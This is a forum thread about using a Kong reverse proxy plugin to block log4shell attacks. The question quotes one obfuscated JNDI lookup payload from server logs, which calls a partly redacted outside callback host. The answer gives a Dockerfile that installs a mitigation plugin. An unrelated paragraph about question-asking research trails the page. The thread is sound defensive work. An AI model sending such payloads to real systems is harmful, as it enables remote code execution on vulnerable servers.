Score:1

Use kong reverse proxy to filter log4j exploits

pg flag

I am using a kong reverse proxy to proxy every HTTP request for my web servers. I would like to mitigate the current log4j problem ("log4shell") by finding and replace the critical attacers' strings like "jndi". For example I found this im my logs:

${jndi:${lower:l}${lower:d}a${lower:p}://xxx.log4j.bin${upper:a}xxx.xx:80/callback}

I think this could be accomplished by using the request transformer plugin. Has anyone already done this?

P.S. Just replaceing jndi by disabled is too far-reaching and breaks a lot of things.

Score:2
pg flag

The guys from kong themselves recently sent a blog post that answers my question. They developed a kong plugin that mitigates the exploit.

I added this plugin to my kong by changing my Dockerfile:

FROM kong:2.6
...
USER root
...
# log4shell mitigation
# see https://konghq.com/blog/log4j-log4shell/
RUN git clone https://github.com/brentos/kong-plugin-log4shell && \
    cd kong-plugin-log4shell && \
    luarocks make
...
ENV KONG_PLUGINS ...,log4shell
...
USER kong

Then I just added this log4shell as a global plugin.

mangohost

Post an answer

Most people don’t grasp that asking a lot of questions unlocks learning and improves interpersonal bonding. In Alison’s studies, for example, though people could accurately recall how many questions had been asked in their conversations, they didn’t intuit the link between questions and liking. Across four studies, in which participants were engaged in conversations themselves or read transcripts of others’ conversations, people tended not to realize that question asking would influence—or had influenced—the level of amity between the conversationalists.